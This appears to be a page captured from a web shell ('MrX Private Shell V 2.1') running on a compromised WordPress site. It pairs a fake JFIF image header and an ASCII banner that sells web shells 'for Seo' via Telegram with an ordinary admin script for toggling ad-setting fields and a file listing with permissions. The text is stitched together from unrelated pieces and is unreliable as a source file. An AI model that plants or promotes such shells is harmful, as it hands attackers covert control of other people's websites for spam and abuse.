����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
jQuery(document).ready(function($) {
// Tabs
$('.tab-content:not(.current)').css('display', 'none');
$('body').on('click', '.tabs-nav a', function(event) {
event.preventDefault();
$(this).parent().addClass("current");
$(this).parent().siblings().removeClass("current");
var tab = $(this).attr("href");
tab = tab.replace("#", "."); // change anchor tag # (id ref) to . (class ref) so it works with repeating sections
// alert(tab);
$(this).closest('.cmb2-tabs').children('.tab-content').not(tab).css('display', 'none');
$(this).closest('.cmb2-tabs').children(tab).fadeIn();
});
// Ad on Top of Posts
jQuery('.cmb2-id-content-ad-top-code').hide();
jQuery('.cmb2-id-content-ad-top-position').hide();
if ( jQuery('#show_ad_before_title').val() == 'enable' ) {
jQuery('.cmb2-id-content-ad-top-code').show();
jQuery('.cmb2-id-content-ad-top-position').show();
}
jQuery('#show_ad_before_title').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-content-ad-top-code').show();
jQuery('.cmb2-id-content-ad-top-position').show();
} else {
jQuery('.cmb2-id-content-ad-top-code').hide();
jQuery('.cmb2-id-content-ad-top-position').hide();
}
});
// Ad Before Post Content
jQuery('.cmb2-id-ad-before-content-code').hide();
jQuery('.cmb2-id-ad-before-content-pos').hide();
if ( jQuery('#show_ad_before_con').val() == 'enable' ) {
jQuery('.cmb2-id-ad-before-content-code').show();
jQuery('.cmb2-id-ad-before-content-pos').show();
}
jQuery('#show_ad_before_con').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-ad-before-content-code').show();
jQuery('.cmb2-id-ad-before-content-pos').show();
} else {
jQuery('.cmb2-id-ad-before-content-code').hide();
jQuery('.cmb2-id-ad-before-content-pos').hide();
}
});
// Ad Below Post Content
jQuery('.cmb2-id-content-ad-below-code').hide();
jQuery('.cmb2-id-content-ad-below-position').hide();
if ( jQuery('#show_ad_below_con').val() == 'enable' ) {
jQuery('.cmb2-id-content-ad-below-code').show();
jQuery('.cmb2-id-content-ad-below-position').show();
}
jQuery('#show_ad_below_con').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-content-ad-below-code').show();
jQuery('.cmb2-id-content-ad-below-position').show();
} else {
jQuery('.cmb2-id-content-ad-below-code').hide();
jQuery('.cmb2-id-content-ad-below-position').hide();
}
});
// First Ad Inside Content
jQuery('.cmb2-id-ad-inside-con-code').hide();
jQuery('.cmb2-id-ad-inside-con-pos').hide();
jQuery('.cmb2-id-display-on-paragraph').hide();
jQuery('.cmb2-id-ad-inside-con-size').hide();
if ( jQuery('#show_ad_inside_con').val() == 'enable' ) {
jQuery('.cmb2-id-ad-inside-con-code').show();
jQuery('.cmb2-id-ad-inside-con-pos').show();
jQuery('.cmb2-id-display-on-paragraph').show();
jQuery('.cmb2-id-ad-inside-con-size').show();
}
jQuery('#show_ad_inside_con').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-ad-inside-con-code').show();
jQuery('.cmb2-id-ad-inside-con-pos').show();
jQuery('.cmb2-id-display-on-paragraph').show();
jQuery('.cmb2-id-ad-inside-con-size').show();
} else {
jQuery('.cmb2-id-ad-inside-con-code').hide();
jQuery('.cmb2-id-ad-inside-con-pos').hide();
jQuery('.cmb2-id-display-on-paragraph').hide();
jQuery('.cmb2-id-ad-inside-con-size').hide();
}
});
// 2nd Ad Inside Content
jQuery('.cmb2-id-sec-ad-inside-con-code').hide();
jQuery('.cmb2-id-sec-ad-inside-con-pos').hide();
jQuery('.cmb2-id-sec-display-on-paragraph').hide();
jQuery('.cmb2-id-sec-ad-inside-con-size').hide();
if ( jQuery('#show_sec_ad_inside_con').val() == 'enable' ) {
jQuery('.cmb2-id-sec-ad-inside-con-code').show();
jQuery('.cmb2-id-sec-ad-inside-con-pos').show();
jQuery('.cmb2-id-sec-display-on-paragraph').show();
jQuery('.cmb2-id-sec-ad-inside-con-size').show();
}
jQuery('#show_sec_ad_inside_con').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-sec-ad-inside-con-code').show();
jQuery('.cmb2-id-sec-ad-inside-con-pos').show();
jQuery('.cmb2-id-sec-display-on-paragraph').show();
jQuery('.cmb2-id-sec-ad-inside-con-size').show();
} else {
jQuery('.cmb2-id-sec-ad-inside-con-code').hide();
jQuery('.cmb2-id-sec-ad-inside-con-pos').hide();
jQuery('.cmb2-id-sec-display-on-paragraph').hide();
jQuery('.cmb2-id-sec-ad-inside-con-size').hide();
}
});
// Archive Ad Top
jQuery('.cmb2-id-archive-content-top-code').hide();
jQuery('.cmb2-id-archive-content-top-position').hide();
if ( jQuery('#archive_content_top').val() == 'enable' ) {
jQuery('.cmb2-id-archive-content-top-code').show();
jQuery('.cmb2-id-archive-content-top-position').show();
}
jQuery('#archive_content_top').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-archive-content-top-code').show();
jQuery('.cmb2-id-archive-content-top-position').show();
} else {
jQuery('.cmb2-id-archive-content-top-code').hide();
jQuery('.cmb2-id-archive-content-top-position').hide();
}
});
// Archive Ad Below
jQuery('.cmb2-id-archive-content-below-code').hide();
jQuery('.cmb2-id-archive-content-below-position').hide();
if ( jQuery('#archive_content_below').val() == 'enable' ) {
jQuery('.cmb2-id-archive-content-below-code').show();
jQuery('.cmb2-id-archive-content-below-position').show();
}
jQuery('#archive_content_below').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-archive-content-below-code').show();
jQuery('.cmb2-id-archive-content-below-position').show();
} else {
jQuery('.cmb2-id-archive-content-below-code').hide();
jQuery('.cmb2-id-archive-content-below-position').hide();
}
});
// Ad ABOVE Header
jQuery('.cmb2-id-ad-above-header-code').hide();
jQuery('.cmb2-id-ad-above-header-pos').hide();
if ( jQuery('#show_ad_above_header').val() == 'enable' ) {
jQuery('.cmb2-id-ad-above-header-code').show();
jQuery('.cmb2-id-ad-above-header-pos').show();
}
jQuery('#show_ad_above_header').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-ad-above-header-code').show();
jQuery('.cmb2-id-ad-above-header-pos').show();
} else {
jQuery('.cmb2-id-ad-above-header-code').hide();
jQuery('.cmb2-id-ad-above-header-pos').hide();
}
});
// Ad BELOW Header
jQuery('.cmb2-id-ad-below-header-code').hide();
jQuery('.cmb2-id-ad-below-header-pos').hide();
if ( jQuery('#show_ad_below_header').val() == 'enable' ) {
jQuery('.cmb2-id-ad-below-header-code').show();
jQuery('.cmb2-id-ad-below-header-pos').show();
}
jQuery('#show_ad_below_header').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-ad-below-header-code').show();
jQuery('.cmb2-id-ad-below-header-pos').show();
} else {
jQuery('.cmb2-id-ad-below-header-code').hide();
jQuery('.cmb2-id-ad-below-header-pos').hide();
}
});
// Ad BELOW Footer
jQuery('.cmb2-id-ad-below-footer-code').hide();
jQuery('.cmb2-id-ad-below-footer-pos').hide();
if ( jQuery('#show_ad_below_footer').val() == 'enable' ) {
jQuery('.cmb2-id-ad-below-footer-code').show();
jQuery('.cmb2-id-ad-below-footer-pos').show();
}
jQuery('#show_ad_below_footer').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-ad-below-footer-code').show();
jQuery('.cmb2-id-ad-below-footer-pos').show();
} else {
jQuery('.cmb2-id-ad-below-footer-code').hide();
jQuery('.cmb2-id-ad-below-footer-pos').hide();
}
});
// Amazon Ad Types
jQuery('.cmb2-id-amazon-store-title').hide();
jQuery('.cmb2-id-amazon-keyword').hide();
jQuery('.cmb2-id-amazon-category').hide();
jQuery('.cmb2-id-amazon-country-loc').hide();
if ( jQuery('#amazon_astore_enable').val() == 'search' ) {
jQuery('.cmb2-id-amazon-store-title').show();
jQuery('.cmb2-id-amazon-keyword').show();
jQuery('.cmb2-id-amazon-category').show();
jQuery('.cmb2-id-amazon-country-loc').show();
}
jQuery('#amazon_astore_enable').change(function () {
if (jQuery(this).val() === 'search') {
jQuery('.cmb2-id-amazon-store-title').show();
jQuery('.cmb2-id-amazon-keyword').show();
jQuery('.cmb2-id-amazon-category').show();
jQuery('.cmb2-id-amazon-country-loc').show();
} else {
jQuery('.cmb2-id-amazon-store-title').hide();
jQuery('.cmb2-id-amazon-keyword').hide();
jQuery('.cmb2-id-amazon-category').hide();
jQuery('.cmb2-id-amazon-country-loc').hide();
}
});
jQuery('.cmb2-id-amazon-custom-adcode').hide();
if ( jQuery('#amazon_astore_enable').val() == 'custom' ) {
jQuery('.cmb2-id-amazon-custom-adcode').show();
}
jQuery('#amazon_astore_enable').change(function () {
if (jQuery(this).val() === 'custom') {
jQuery('.cmb2-id-amazon-custom-adcode').show();
} else {
jQuery('.cmb2-id-amazon-custom-adcode').hide();
}
});
jQuery('.cmb2-id-amazon-astore-url').hide();
if ( jQuery('#amazon_astore_enable').val() == 'astore' ) {
jQuery('.cmb2-id-amazon-astore-url').show();
}
jQuery('#amazon_astore_enable').change(function () {
if (jQuery(this).val() === 'astore') {
jQuery('.cmb2-id-amazon-astore-url').show();
} else {
jQuery('.cmb2-id-amazon-astore-url').hide();
}
});
// Offer eBook for ListBuilding
jQuery('.cmb2-id-ebook-list-build-code').hide();
if ( jQuery('#ebook_list_build').val() == 'enable' ) {
jQuery('.cmb2-id-ebook-list-build-code').show();
}
jQuery('#ebook_list_build').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-ebook-list-build-code').show();
} else {
jQuery('.cmb2-id-ebook-list-build-code').hide();
}
});
// Salespage Code
jQuery('.cmb2-id-estore-html-code').hide();
if ( jQuery('#estore_html_add').val() == 'enable' ) {
jQuery('.cmb2-id-estore-html-code').show();
}
jQuery('#estore_html_add').change(function () {
if (jQuery(this).val() === 'enable') {
jQuery('.cmb2-id-estore-html-code').show();
} else {
jQuery('.cmb2-id-estore-html-code').hide();
}
});
});| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| save-button.js | File | 1.42 KB | 0644 |
|
| settings-adm.js | File | 11.2 KB | 0644 |
|